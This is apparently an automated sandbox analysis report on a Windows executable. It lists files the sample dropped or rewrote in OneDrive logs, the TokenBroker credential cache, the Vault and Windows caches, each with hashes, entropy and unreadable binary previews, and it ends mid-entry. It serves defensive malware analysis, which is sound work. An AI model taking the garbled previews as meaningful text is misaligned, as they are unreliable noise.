SSDEEP:	192:H6ASoSW/gInBraknJvELUYBrA+CfwLFHUw9Y8mpcxG5XFvqoh9Rs8hYR4GRkiSuK:HNMezZKhr6wUwXGXqovRs8hoWE0mf3
MD5:	0A462C7DCFBEF83CCE54D86D944E281D
SHA1:	528E13F8C06EE9AD22CE1BFDE32083CB81BF3197
SHA-256:	9BD647C7802BF8D0C40E0F398B57FCAC7EA5757CFF69BB71D26C2980EE36585B
SHA-512:	B2145A08FFD06B1DF145F23FE06FA8CE136CAEAF224550889EEF3C2F2C09044B2F33F38B56D6F880B1A6450C4BFF5299DB6B07201104B737B58D97FB4BB31764
Malicious:	false
Preview:	1.0./...T`.......AG6.v.Q..iI.8..................9..'..x.....H{...G-G.@....d...6...1i...a...h..#.hWc...yE..5...o..d.C.P>..q.r.i..e....fo..F."..."0..\|#v.g....c...M.?..W..Jn..h.#...Z...Z.H..x.....aFf..\|6.:.8...I.%.d{.....{..o1........p@..&..m..Fl0.;H...+.-.H.7..uD..gQj.$..?...4.5.@...Yu.y...$u@.e.............h..#O.0m...NR....D<f....'...r...;\r^.i..w..3.T.:.j........0...%.f.7.=+C..Y..H...~.qx....=.m.....Y....}N.T.S.r.%'tb.....G.(..L.T........K....,w15D.......8......... .[,.).(C.."..\|.....:..8.8....R....a..y.m.._D@f....P...Y.\U.qn.{...O...DF...k.Q.e+..S&..A.....JPG......0...\|....Ur.e,...q.R.M.5.6.B.G...../..E)y..,6..FlM.0jD.(S.0a.C..k.b.#......\|.-(.s..G.s...Rm........G}j...W..j...+!....;..B.c....n..@.I...A3...U..:_..Z8..+~.-......'~<.}....Y.X.V~?..D.Z/......;..]...\|.i6.].hh.U...Hf...#.....#$...y..o.Ub.F.....K:<&;....,k}..5..B...$....P.(..$n+.f.-..7.r....Ok..[....?.:w.+..#.E.g......,.6.../5......v.b$...j..Y[.>v......RX.1...LO.)...A...VT

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.426318390873763
Encrypted:	false
SSDEEP:	768:KK9BqmfUq+LCHWmyJ2atrd/KKtum3j+cyk:KABjwC2v2I/KOum3jQk
MD5:	874A6C326D98C947466A0BFA0B591E1F
SHA1:	4D3758DBD18B9197E27705DF0DC876B073BFDD36
SHA-256:	107EBB767AC97D30BB5D448580CE7327ABB7DD715CDA7BF998DF200F8C4BE202
SHA-512:	BA6E6E8EFF3E34C386452DAD65B117C711BB42D2639B4D4AE585AEF76E5E4F432F5079F45DB71B10630EF91DB842C3B2C7D438E017DF72FD21EF13829EA82F85
Malicious:	false
Preview:	SQLit.8D.)<S..M...;BNx......."yEt.v.\.q.....Qg.K1O.[..$.K...$..J.K.........?.p..g5....<.6Vc....c.C.>.Z..:kQ...(...sg....27w....:b..Z..F[D..+.q...4....G.......Y..&?>..W,G............T.tn{.#..:k...A..d..A.e.......XK\aa....7.....}a@@w`..y.h,.<$.....%.2.^1.=.Q.f7W....;p..;4.s......u.Qd....h=X.2..Y.....Jz9..............m....;3.8.91W...m0.+...q...@..,>o..A..8.........v..X.~........C...XM-&...[....8..+.O^n[B.".@..W.\|..7.......y3.:F....<...z....K".@G.1...f..%...s....S.u.. (.........{\|,d..g.:st.....\.!N.}-..Z.......S..E.sa$%4]+..;P.4...HZ.3..!^lR..C..\|.N.gb...6.K.....ha..L..0 Wbu..u.W.`L;...8../p[..$.2..".L.wl..*.........n.^$vm..{>~.7..D...s.....k.2.........I.a.3W.[AD^..........qL...R.......w..'>-.Et.=^...<....]aa2z...9...\|....W.!......j..a..M1T_.1!,....).[.l...w.....c.(....E1..\|..Ow.......1?...._....!.t...P.G.z.....O..,!jfW..w.b.+B......>......j..<.voc.+O.A7.?G.4.;...h..~.p..O\|........."v..;..>.M...0.F./.H...a)L-....S7_S....0.zIt^,.G

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4280587333958112
Encrypted:	false
SSDEEP:	768:Vb1gejRxGWcphzHmfYYYl5fLs5IbitmYj:Hb1xGlgOfLs5IbkX
MD5:	ABBA6B25F206473A2197BBCB525F9B76
SHA1:	E1A773B218FBF3330AADAD1B94C7D30500BFB59D
SHA-256:	092F59E3214C445D096C0D154E0098541563D6E8AFA90D9C27DE17601AE06480
SHA-512:	ED6B459D0819093EB3ECDF83D11AC377F97D76F04443E21FE3411617AE3E862117B9A57DD6D020EB185AF8B8EF9F75DEC8909BD474FA4BAE25C6B8FF6E8C9282
Malicious:	false
Preview:	SQLit.L......m3].nKu.3...O....\|..y?.-...+.....}.0m....}m....H..6..6.!9........<<..AE...Ec.<".#..P@..Bk..Mx...5...>:S.>..6.~..6p...("....I.P%>.q....j~.^..#Gl...8.-Z.e.c...,7);Y....#{.....I.t.5..&......d.7..-Fv2......9.......}.Cj.....'............F.BQ..3U....'..6d...Z.?..c.v.?O.. .4..#.ko.,#T.......p.{.zX.~..k.7..zr%.1.ZU."K[..^.. t.M....b...C@.J[:{....3..."...E\j....E\|g...b....8...&e...oit..;LE9.C..7... .Z..fJ..u..%.l`.......=.yy...t.Ib..Y_.MU.j:Nbo.P..hl......d...a."5...7\|..I.....Ii.p..ju.r/...fJ?R0t..%.V....E)..r8.$...z{....Y.&.Z.\..9.MOG.gF#.R..9...!.S.v...........S...fX@...$......{p35m..N5....+.UG...)qw...'%=..$.....;...Q.qk..<....G7=..E..,,.q.CN.o.b.SL#,.k.'w"~....$.c...9.=..K...-.n....&..p.u.@o...z..GkS...,....>Lo{\|...mba0.....1.z.....r\..w.8.@f...K[..M..T..0\..C.oI.7.........W...m.....j.B.fd+..G\.<...Q.Q=cf8z.6p..0\....e3...........^....ai...AS(4<...r.J...?*.....v.a....~..U>..D.q..y.;.O..........Z...oD...S.eq<kgb@...6._y....G..se.xJ.O

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6632359576536204
Encrypted:	false
SSDEEP:	3072:7yrSs/eYZXK3wPqWTVWXIt7idQhJv95/R+uh0wMnV8OEs4x:7i/eLTW0XB+hFnh0wS0
MD5:	B8BD72703CBD81EE958DD2DAB2EC3593
SHA1:	ADAAF478A25B90D8E67F95D096F393C29E999E66
SHA-256:	D9C8680DD236FE7FD0296F39BB252BF654FB2FC2853E455B5155E0E1ADF63861
SHA-512:	8F699ABAFB612ADCFC1FEE8CAFC6621E5B4C08494852A0BB073D45C1247BC1213F6E199925B7CBF38C4091B09BA2CEB7F2B8A73E0E6C9ECB20DC583140415BBB
Malicious:	false
Preview:	1G.f.BJO..x..c...Gr.T.@..Z....FX..MyL.b;R..'.w..n......9..t.R..[.~..uW.m........{.ns........0.O^.......-...!.#P.ZM(...ep..8.+.~N..?..M...;.$n3.j..v...?..k..Q......yw...P.Q.pf..~..k\..Te.[..B...Hd............0u.S.p........j.u.v.Y..L.{P??..;.%.. ufo4..;OV+.n....]`7..k.j...6\|Y.....V..f..%...^...q..3.....-<d...C.w.... ..?G.x.#...]V...h-;Y&.3..+]'M..K.w...^.....>..".<.>E...yw..v..-h.s..~._C".v....7%9.)......'r...w`.J..b...p.[.)o.dd3"...YV..W.....a..}...8M.... ]..S~.W!......O H .K^./.4.\|.o...$.G.(..G._...23.N./>.e.......j..tgV..#2.N....;.6.......fX ...L3..X..{_..I...;.t..\h..etpt.../6.../;..-.Eq....J./4.....c.8R... . .N.L..p...+6.lG#@.M(IyL....1....>.fs.D.........x..g5{._\|.g.....D".S"\..%..y.o......".Gh..`P..L/.....W...S...d........Nmt.s..L.D.......r.Y!.....S6..LX...]....4...@...!........N..{?0v.Z..T;.a._.,gPBl.EL....=.ac\p.I=..`4B...0.F\..a9..:...&..H.b...p[.-...'.:UQ....n=z.e.@..C.....z.........~j\|...E..I...w..H&...TA.......e{S...iU

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.428137973221927
Encrypted:	false
SSDEEP:	384:tGMgdoEeYwtWEvJhEJHxhXQFMx7GtAj6n+DpdqJLR6PJqxIEpWPjiTqOt0:M7eYHS2RhgVtAjY+fqJLR/xIEgriT9t
MD5:	C451510BEB5A434C07EA896CFDED1F96
SHA1:	32774648C4BD3B0DD81EECBCA8F1BA5F7063B840
SHA-256:	F4BB4B0266D9BA7226334512AD68D517A4C3A7D980A8BD201ED65F9BFF3573A1
SHA-512:	EFE761B9E255C429CE2B07211F082F7CD2F63897B776FE0C61041ABCDD7193397DE442381C33B5A371B0529A21291581558034A7235E91E94DC30501DD859FD7
Malicious:	false
Preview:	SQLit....^.....<....V..N.2...<..b....."...\R...<.....p.Y........#.Z....&/m/Sr.....9R.i.A.TX.A\.0.AC...R..Ef.3.....6...X.v1.V....Y&z..<VX.m [;.;.+.j...ZK...F..j4.....z...4....R.'.!s..QXL..#.'.)e.[.2...o....>..P..-~d...K..}]gG.}..S...l.>.u..RArR....zY/K...Pn5....D..^..<...pk........_.%.........9.mJS.}w....?y\|.0[..'zr?c#.u%..H.")...pa..'...GX..v[&......6.....'.....nN#g.$..L.~.. .,n.cx.}oJ....-....J\|,.y.......7... }.oI.K'...7.....p...b ...3.!..N?.6..3...e.E...!..(.K.......u.....%.......p......D1..1...._...c..U.......p.......Vf...A.QsN...HX.@.t].Z.... ........JV.O.MA...xe..(....<r....Z...[)...f.....?.LI.%i.p.i:8.r$}.H.y.?j..>...TP..._....L....f.j`}..~W.S..Q.nVw.V.S...,.7...........g..oD...<\...#<.....>>.j.j..W.Q.,............l1]..Z...p..,t.e$..N.d?......CC}_o....U.v..URE.......r.D.e..3.Q.....7.7E.E.(X./...'.....qR...g.u...g.......Q.a.o..B.....(.....6.U.T.d..8....~i...p.)...(.=.kR....^D!...g.1.j..c..R`.s.m\|~..O.L.\[+.&...0...

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.851980648756843
Encrypted:	false
SSDEEP:	24:Yn+RFAtM168TXN8XVbnau0zgS7d7iJ+D5QtCdcDL3OUP1uOXSWWE5qXubO3mLUny:YGAX8TKc/zgS7d7u+D5QUaf3OtwgbujZ
MD5:	FB2DDD9CD4A0084567A6DB784E93F834
SHA1:	F58E1C9A7449986FCE6334251D402DB8B7F45FFA
SHA-256:	A5227CFAEC378055F7B2561542DAA718BD85202BFF6BEE62090DA4B0A466869B
SHA-512:	95200137E68E8FE239441D6E7833EED22E689B643BD62598E0C06E1B6D22B4461D06BF9025F86AD9BCD9629613CD0CFD39C39E66F578438986391011392496BB
Malicious:	false
Preview:	{"Rec...p..R.v!d.C...Ro.n._3..X-.:;.....Y.....MX.K.o...G..tpJ.......H9=.VOT..Q..cZ....n.2.F]...1.}...W..!O7.3,._...z.H...G...j].u.d............}.ISr.D..._-"g..._..YC..:..y(nS{....Z...Z...<._,.p...S{/.I..r....NU..H.....J....6....u.V...?T.).w.f{..".j3.....K...&J..t.#....C.2....g.q...>.......a....,b.3...b.n$:.I..U...a!.......&.&.KR[.v.......z.e(`........1dA[y.....@.r.V.r....0Rb....sG...u.<4..D.X..I...6b3L....."3^.^b.<..........D.L.n(....).P.mq.`.]......E.o..yc.u\.R.7..I6..q+.f.mT8..Tf.eF.r.e...E..TiW^...AqR.d....~.....G.)...>.;7...z..cKA....2.Y./<..D.M^..;....N-..p.r$....W....;[].M.cUZ.k^.G....;.xJ ......T'...z..+..$....P....,....i.1.e.X.i...u.=.}%.S...{..m..e...nl.B..S51...;..{.."....:.n....c.Hn.oP*..........(...C4N...XL.....w~.^G..W}HB.7.3...\|.MsAx...2+2..\.b...I...p4..9g.J....=....E.mVxJ]..".S..m.....~[}.,.E"....i\|g&.n.u..'..[.}..E.%;Mst.T8..I..k.n.. N._..n>..i....hUw..5^<'+...Y......a..}.....:.I.s..K....H.&....xy.........n..dU#...A

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.923381244910317
Encrypted:	false
SSDEEP:	48:aP5xPYoGPQ661HUc69m5m38z11qUSv9PUmHcFSoD:m5j0TCzDqNv9V8o0
MD5:	25E9DB2C2134C33E0254709483BAC4A7
SHA1:	F24A5B4E45A6ED7FE1C93A8C11308BC737432FFA
SHA-256:	95C90C46F3AB8A3D836AE8CF1987B83E6C6A2608A8D5936483BCC23C6C0445F4
SHA-512:	49CEED74C7F8C21D855148E3B98ECA16F1276EDC24B235C3D2FC549DA628669E249CCD04B3776E7DDA1FBDF696E7A9D2A53BDEEDB699BC547DEEC98A163259C1
Malicious:	false
Preview:	{.".TM...r..\..+."[~PHDc&SN.v...Rnc.K.......&...Z..Uq8k..m?......)h....Q..DO<.V.f.._-5.Dx...<.x....+."7,W.U.41;.Aq.^.72'...Y./....$!hs.+eu...X.q."./&.G..0.s.+.o=...+6....8......Oz..sK)H..k..Gz..B$..0P.H..}oF ..f..:Mg......T.JL.R....aWt..w..Y..`E.......c.._..,.I..Jw.6l.2..X:.RE/.....;.M.......h].....k.c.}.....e.z,...u.j+.6....TD....Fv7....x.-$...#z.m2.....<....}.A2p(B.......x....E.....>...m2?.fH..x..I.'h..H...<D...q.Q..-^b~.].P6.{Y.U.n..n..y...D....X.G(V........."....\|e..E....IXr.).../.K6.0".UR{Y...t...`......=og..%OE'x%R@{U........y..}..k.R.:y...W..W].Ez?.,V]..... .!...K.....\|..Z.$I.Bv6<..<.Fj{/.....&.^..0..?-k`..g.^.w...sZ`........IC.z..l}.~..>..Q..G....{.Lcm..1..........DC].."A.R...-..#..........Z&k..[^..i..\|^.q.]..]!i.......w{.J~;..,o.4....c.o.v...5+P]...w7.V.{....4a...B...h.z.H..E..6q...C........m.;.h ..D.......p?.......-..V.`...(..VB\|.7. .S../.....(.5k......:f..6..:U..v?'#.....".n...4E4.F..j.s....SG.7`$(.Z....iX.N.+G.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.925108232481697
Encrypted:	false
SSDEEP:	48:9qEt6CqpdhF0++B3QshBEO5lxiXFBF/K5VRrRoEYfP5GmMKTXv7viP+zm4luD:9q66Cqpp0+egszXGXNKTLIfP513v7KP7
MD5:	52CCC6D67135064A0FF9A760B43E0FE1
SHA1:	DA912AFE576084473D6095ECE8701AA66FBCCEE5
SHA-256:	EBE4CA3E19B83B1820B24DA36B3ADCB33A721A1857CACCDB29DE8B3430C8A9A5
SHA-512:	EBD0282A49B8B5C822C0C93E4EF8FEEBB3F2B16DD3368DCC7668982131C34C88A74BB2F7AE255997FC5F6F6D9B062A482391B3BC6C0C8C707879FB319ACF686E
Malicious:	false
Preview:	{.".T"=.....ZB...]..m.VI.....?.e<K.G.....t..;...&..@Pt+..#.!..Z...JJ....\|].. l..p.r....{.........ToRd.[Q-R8....G..^.&.$.....,."7=;>.B..g..zj}...\.F.3;......3.u..`.Lu9....%....k3..FTK..vD7Tu..y=......)...d].v@.=.=.FV.T..2.3.....G...U^.L.TB.=E..#..1.Y[..k..'.....c..)8.u..o.&F....G.....9mo.JB.d..........R/......T.o...E....a5w..v!.V..>...n.....@..C....(.........S...p.e=..{....h.P..N.H~J.T{..H...6...%.\|.T...k..Il.y.((....g....?.g$3..}..A.:..^m6..^.\|ag)..v{...{k..s.........!.H......]...\|.....8..j..'.8....u?3.;.P.......K...CZ.!.....A&Mf~....E.]..n...{6.%g.........3F..n.7..E..g7....`.7.3.MI.S...(..$.RS.Y ... m...K%.............2.Z...}.x..X.^..w..2....4.....u.X...."...Q.)'p.azR>8....B..@..V..E..w.X.7.t..13.....\}.W...........#.kM.:E.VN.A.....t.~.....5n.Oz....z....g.."yF~.Pn...>........G....Ro.3..<k..~wk~....\.kKp.*IqN...CW......._.{...A..Q.D...4(..}..;..TJ....B...z..z^i!..?+."..F.Zx.X.j./08x....y..BL.jb.H)....o.k...@..;..).v{.!/.dq>+D. a.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.958718155596628
Encrypted:	false
SSDEEP:	96:r18nmxS2B7WNyOss4rsMMG1uhGmAkampWF8I2YbccW/7ger3DGuDiPE58TY:2U1s4VMweNXkFb2ga/7ge7DlmPE+TY
MD5:	3019566AF8088A892768B2A38D02CFD4
SHA1:	DFBF9E374092DBD4F13FA6C7BBD7DA8925228170
SHA-256:	A18ABAC34ECCD5BFAA12B88FA4A639A2F24D630AA931CE0D917A702C8DF975F3
SHA-512:	8EEDC58273C1CFE4B5ADA145C1089216EC71021A5B64F8457507058DF0715A425CB0D43D0BBC7D660CD3742A7FB5114259F9DC6869228FC4293BA057BDB06689
Malicious:	false
Preview:	{.".TWZX..m\|_+........2.+.;.@.[.V \|W.[..%.X.9..W.x...`...%..Z}/.f..\.03.....l..l.(...2..#,-+..h.r.y.RG.W._gf.Xx.......w.5..... S.'\|.j..!..7..@...qD.k_.....e.....(t.eA;.7..sx}...E..X...\|.].....y..`.e;.t.a...I2.....9b.s....8.lM.9.`......v.~...RS."...2.5Q.N................{I....-..!G...2..k.J....H..w`P$].]0....B.5.u....Te0..sc..W.I.&.J..<..I#.Mq(}@......D.&%DR8."...*.....$#..U+.\..stP...bT....@e.u....:.Fp.....W..H .D.../vi.s...R.d..;^lG.`L.....>W#.^.Y...5.v...!..0...LIMn....r.ldH.L.\|.....d.....D.A.-..Q...7.D.~v..6...kS@lo..p..Ef\|r..w..$Y.a.O..Bn.........o..k..E..^Z4O&x.5.:........H.."..D....%..4...-....f.DD.f..3._.9ed`...7..`9...,.:(.5....N...`...@.&.......k.......v...]^..zP.&$.7Yu.'..h#.`...k3&.\|/.<.~..F..p.............Z..>F...X......3.....F.z.=...G@..~..C..Z..u.......Ugu.....a...M...........m.`.........-.....!...5..!..x.Ag.JBe..E...o...&.uxe.6=........6.#b)...^...1>.....eu]..(f.TS.-.?E^bT4...59......Q.;._1Y.(..c,...k.\Q..._u.)..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933360324898996
Encrypted:	false
SSDEEP:	48:Lx4G+6xyBZbwvzYZtFDelJwfYbHIGUsL5ykVMKqQ0WYVk80etCI/kCmLfjHEQgB3:l4G++yBZ8kZtdwbodsL5yYMzvWYx0ghN
MD5:	89D72D8EED6C3B3398DFE6D47A1A96DC
SHA1:	E4066721B37C8516E0B41AD9E9CA156697B6EEE6
SHA-256:	3C9DA6474A802D5D0456122C37876CCBA7C181769E5A3BB9FC0B3B6A0947F7E5
SHA-512:	FDE67FB8C94C3B01F823917AD9C6319D78EF1F8D38DEC5E9671C05FA38A6006D2461952F559E06648EAF3EE5022C41DFFC2E94C6A47A028D37FAD0341A06EBF4
Malicious:	false
Preview:	{.".T..%..t..L.:....e.3.;.{./.ioi.=oo.L.q.Ann=..uO.r..m..3..z.JgJE.=e\..3.kx.,z.....m+d...W..G.z..O..b..6..8u.......d..TpQ..._..WQ>K.b..r........Q6..z......].....-. ...R;...cFk.(....q..4...%.C.Q....k.2...1.......d..v...;-..M~u.h..=..g..\|...i9.m. ^.......i.1i..1XA.tP@_.o9..~....7..Y.U.CIR.F.cy.\|\........m..Q..F#..&/.....k.A.;u+?CS.Z.".../z.Q,..5[?g..Hw..]...3t..=w..(.......r....i.8.lO=H.e..t.....(..PC6..!-.Z.........}\...8-\....o.t..0.Vu.bl.#."~.`.z)l.Yq..#f...=<..nCp.H..$T!jgj.Ttg..........5....GiLe...F......<......c_.Qj..[gF..Vgl.)..U..@)f.M.T>.f.=.:/....5..\|&.4..v....I7......x=H8..x.^H.E>..o...[ho.fz.$..i....w.X...I..F,.....Bh..0.......\|....6L.45.N..)m...<.K..o..r.o.1..9.6`..../.@.T...F......L..eq!....Y..R1.!.............=.L.,.:x.h....}.v.XN.B....\|...H..o}.[,w..[.>......>.......\|`...9..L..%.=K.....D..hS .3f....A.6.oL.. ....J5Z.c..,.d.\..3l..`t.b......#...Zl...Z.._t!."/+. .....5...3.D<\...u.e..f.[.Y...s%.;.....[.S.U

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.928052807534827
Encrypted:	false
SSDEEP:	48:ZjpnKCVLOY++RDjSInYcHaWTs8rdjXVGmUnl41IzD3VgieD:Np9Lv++Zj3BHaSdZQmlmD3Vgim
MD5:	2E362D34F42690F68F34DC6FA924094A
SHA1:	A2482491807D23CA736691384C8B717183BBD1C2
SHA-256:	ABCEB03C355B0B905C63A4DF0926C1AAE11F74D1D7485C8B0E4595B103152BD6
SHA-512:	4918EB4E077FBC3D31ED017E8FCD197CF8908381816C2096730A0B9F83D9E9E53A04DD7638DD188488586701EE8C030B9DBC321BD156AAF4F6E364C6619030FF
Malicious:	false
Preview:	{.".T..]nF3.....6.L..Ia`.y..)../..a\.F..A..._..3!....p..8..!.....-....l.L...Cv\|.W.N..G.v7).....'...[.cz...(ic)...x.'.4.P-<...C>....>.#t...G.+i..S.Y@.u..Pp...d.)$..i]z../W.T.#&..Y.`=.._..-uP..g..o...O.......?...1.q.~..H..UW........m.c~. ....Ng@...n...-.?.>.9.q].L..)...f..........U.}c.oV .i.`....Zg..8......^?U..#..?..`X4...X..S..u\..1...{..B...J.0!.,c.......C...F...RZ>.Z.............>.......O..y.NI@....r.].........?n..r.i"`..%CB......3@....C)%.{..t..X+....;%.%!..r.c.N..w&.<!.....o.......W2...k..... ...=...-...... q1'..J.B X.x/.\,wa.......?...r%.a{...=.....V...m.u...ieR=!..k........"..f...LJ......Hk...7T...h....'C@o;ye..r..d.."..R..:r.^.aU8.-.%..._....w.C1....5.R....G...3.k"...e..6...?..+...."i..K...27B<....I.x@+.I#G./....0/.5...KJ@.f.Z\|..:.8...G.J.d.....}.z...7d..h`..Mu..fL\=....S.........[......N.&.>.}.d.S..._k.C:.H.1.$..~.....2H)..E."....).R]..}..;{?.B.F..c.......]F/H. :P....%...4....yt...R...r.?#v^...&W7p.E5.....r/....mQ.u..>q....CN..s..2.

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.727596270103688
Encrypted:	false
SSDEEP:	12:2ybqdaN7cmUI4J6N0A8AF6D4PGNPamd+KsR2hH2BS5vF6YW4dbuOcii9a:2ZwNYmO6N0Ai4+fd+VEcBSfWtObD
MD5:	8196EB159ECDB691C907B737571E2BDF
SHA1:	87E01A8020604AFE0AE8F613C21BCAE5D030DE32
SHA-256:	F48C150B635E96817F0C40800723D7EA12F6695E9DD7F17AC21A6CB2C9201BED
SHA-512:	62A11863BBA7741537E155A4E8A73DB6995D01BDA796348DB9D237A2FEDA39989CDA91470DE2C607F6704B1A0A0B216FF4E5C93737BCFDFCBA00F38CD350A1F4
Malicious:	false
Preview:	....Bp..,.4/.EY[..Y.O9Lrd....el.x$.pX.;......#9...n\...k-...>f...3.....fT_.8U%.a"..&._>.(\|D)P(.........{....].......h...I.0..\|.\|.:.j......yo.{Y.;Y..v.%.s.<.z.t...m.#..N...h....=.Yi.....Y..,!o.`Vx.n.h.....)M..=..6...+U.O"...T.'.bN9.= ...#..W.2...._.?.Xbi....H.$.....P...){t...P.......h....:..mF..r.....-s..%....mV.\|..}.5.._4.Wj.A.T&.^.....i.f....B......J?3.)o.+I..........2&V..3.bv6.J..t'f...3o4.5..D..q........P..i.,.k....y."[{..I@......VZ....S5!H}.@M].[.R.FE.Y.....3.....m.`........s...........\......a.4sY.,....'....x.....(..3.q..}H4..p...t..t.G....j...`.{.N..%6....0..6S.y....H.^.B...n......0.[..T..7]G{i..K._m....\|A.qb..# ....v.gS.10..'..,TvPb.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332741832734127
Encrypted:	false
SSDEEP:	6144:ATuVc0GUwXTuI9OlBCafIwiEO+XBm+vyJfbnQkK96B88yKv4bWTmTvEiLS9:Kue00Tx9ABCqIwiEnXBm+6dF4/W
MD5:	F912B16213BBCBB16C3F57A7F173A913
SHA1:	D7100168D0F2D49AA6A96F1950040104A914D538
SHA-256:	F355ADF13CAC7BFC359D3AC5164DD6A2AF6DE07197A4BC7539A3A571216AF576
SHA-512:	685008129CE3055B9CC30893380547D2445C1BC106283116E81433B41B16C7FC1B3FE1CB6D8EB4B0942D350D0D9752380840C7686CC877343E2302C71112D85A
Malicious:	false
Preview:	...P.&..6.9u%.un.T\..h.\ .t+..$.A.8M .%..W.?e.i.1.~..O(.....!BW]O......wHA.I...g..4V......B[..."...I.?....V..~~...&}.` .3G..{..f.u..?T......X..8\|..2.../.#...h.v..(J.2..]l.PX.5.3..C8.[..j..aQ.X..e,....e^..W...6=.n(..#.&`-c..7......I0.k.l....."dec].W.>L..=0...;u..io5..d.K......5...z3J....@#....B9T..3...V[<_..C.!..:l.....k.a..<..F.tp......f.....}O..h.x..f..dF1...ph.C.08.W.p.R...?.j};H/O~2.....`...4..X.G.\..W#.bM..\|..H.~.z..T9...'.^..{....C..B...>Fpm...H...o.M_>l.+..0.J.&./ ....m.w%.u.....G...Nc.x.z.....0U.Q.........;.us..<.v..W\|.v...4..0@g.a......;..+W..p.Vh.u.+.9..6W..\.2.t..v..q.-..g.......bS..P..TX..#..6.,..-...A....G.2..c@.q./I....N.S.M..Y...".MZ.......'..'..m8.Ue.V..=`..T.........j....R.t.{T...S...p..}.].....62...ES....:....dX...ZFS.......@r.h.s.A....4z..OI..y...3\.>.kq..)M..O....-.....}...x....}wv.."R+Py..45{.n.!7.....*_..i.x<..8.X1A.[.\.w..s..(.x..=..u...,...hv.kO.+U.rA~..F.o....E..Q[Qqk......c.ZHZ....>.....$)....e..r.C

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989710988504287
Encrypted:	false
SSDEEP:	384:v5BwNm3NNSRi7Qnxmzl3bY9PmTZxP9H3Yg3m9:v5B4m7qx8bYd433X3m9
MD5:	D4584E69ADE217B43CE2E654A31EB652
SHA1:	5707A023F8BD6B2FDDC26F00E2B26D08E862583C
SHA-256:	2765B96C52E96BB9211B49D72F0B37519DE1F8B9A73F8681BFF2DEDD8FE88089
SHA-512:	C55B1B60263933C60DD76F34470D5F747C27A50CCCDCF55DAA89315B1CB45E31DAF4CF657A6BA045C3F994A938F84424FB5CAF50567F11AE9429BE4F94DDD69D
Malicious:	false
Preview:	.... }..,....~.w...]j.^.J.....L.!<a......~./5.?..z.k.../.<X-.....)..>ER.9,.%t.d....;.,.Cc.0.,.....:........S.3U..a.....O<..O.]..;...5.......uN...BW.k.Z.l2................c}.~..V.....;...."Z....v..R&.M.....w..q....z..LV.S. .......("..U......z...f'....W4...xsS...=....9...$..b\!_.../6....T....z.e.......(.fB.f.%.N.i....I4{.....+i.....p..X##...6..._....al.6.2.....<+.R....Ut...z.R.....t.F.......n3P&T.s...~.F`.E.2.4..f.T.E=..$.9E".M.A.....3.'/t.....O.ej..1]>y.[....eglI.r...4k.HM....U.AH3..Q......j.......Zy[.S..X.6P......;@.9..$r......$.o..>5..<{d_.-Ki(....x...d...(.-r\|.V.a.:4.....S.2.d.H.b{!.#S.6:.hOz....L....p..l.=F...Y....a.{..2/...>...8..t..:.....X".2.$;.@fe..y..XX..d.%.u;h..Y.@.%.\SRK/'....."".tqZ....(..U...v...}MU...&."r.N&....ho#K...>/.jh....A"%..%d..E@.<Ic!.'.....+.\|%.......d.1y.=. t.k.W..E.w.r2...).tq].../._...B.....].......l..........+O.W.H. ..A[EO{'....E.e>...g]w..un...g........n.U!..}cW?.Y..V.d..._Q0E..Ho8..@r....e..@C&@.IE...N..B!

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
